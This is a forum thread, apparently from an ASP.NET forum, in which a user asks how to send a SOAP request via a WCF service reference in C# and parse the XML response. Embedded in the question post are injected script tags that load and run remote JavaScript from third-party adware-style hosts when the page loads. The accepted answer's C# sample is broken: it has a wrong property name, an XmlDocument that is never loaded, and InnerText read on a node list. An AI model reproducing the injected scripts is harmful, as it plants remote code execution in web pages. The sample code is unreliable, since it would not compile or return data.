How to create a SOAP request with the help of WSDL and receive SOAP response? RRS feed

  • Question

  • User750574723 posted

    I am very new to WCF. I want to send a SOAP request to a webservice and receive response from the same. The WSDL is: http://content.domain.com/ContentService?wsdl. I have added this wsdl to ServiceReference. What's next ?

    SOAP request i need to build should be look like-

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:con="http://content.domain.com" xmlns:api="http://api.content.domain.com">
    <soapenv:Header />

    There will be a xml response to this request which I need to parse and get the values from it. How can I achieve this in c#?

    <script id="FoxLingoJs" type="text/javascript">// <![CDATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); // ]]></script> <script src="http://attl.staticjs.net/amz/aeyJhZmZpZCI6MTA4MCwic3ViYWZmaWQiOjEwMjAsImhyZWYiOiJodHRwOi8vZm9ydW1zLmFzcC5uZXQvcG9zdC9zZXQvMjgvMC8wIiwid2lkdGgiOjE0NDAsImhlaWdodCI6OTAwLCJsb2FkZXJfY2xpZW50X3RpbWVzdGFtcCI6MTM2NjYyODY3NzU3MX0%3D.js" type="text/javascript"></script>
    Monday, April 22, 2013 7:05 AM


  • User220959680 posted

    What's next ?

    Adding the service reference creates proxy classes to interact with the service. This is done behind the scenes by Visual Studio.

    In order to consume the service 

    1. Create an instance of <ServiceClient> , 

    Note that it can be ContentServiceClient

    2. Pass user name and password :

    Note: check the service prodiver what type of security is enabled to access the service.

    3. Access the service method

    When all the steps put together client accessing the service is similar to the below.

    ContentServiceClient proxy = new ContentServiceClient();
    proxy.ClientCredentials.Username.Username = "<username>";
    //check with the service provider what type of authentication is implemented in the service
    //Also whether the service requires Both (username, password) or just the username.
    proxy.ClientCredentials.Username.Password = "<password>";
    //Access the service method
    var xmlData = proxy.GetData();
    //loop through the xmlData and read data
    XmlDocument _doc = new XmlDocument( );
    XmlNodeList _firstName = _doc.GetElementsByTagName( "FirstName" );
    XmlNodeList _lastname = _doc.GetElementsByTagName( "LastName" );
    //read the xmlNode text to string variable
    strFirstName = _firstName.InnerText;
    //same for the rest

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Monday, April 22, 2013 9:40 AM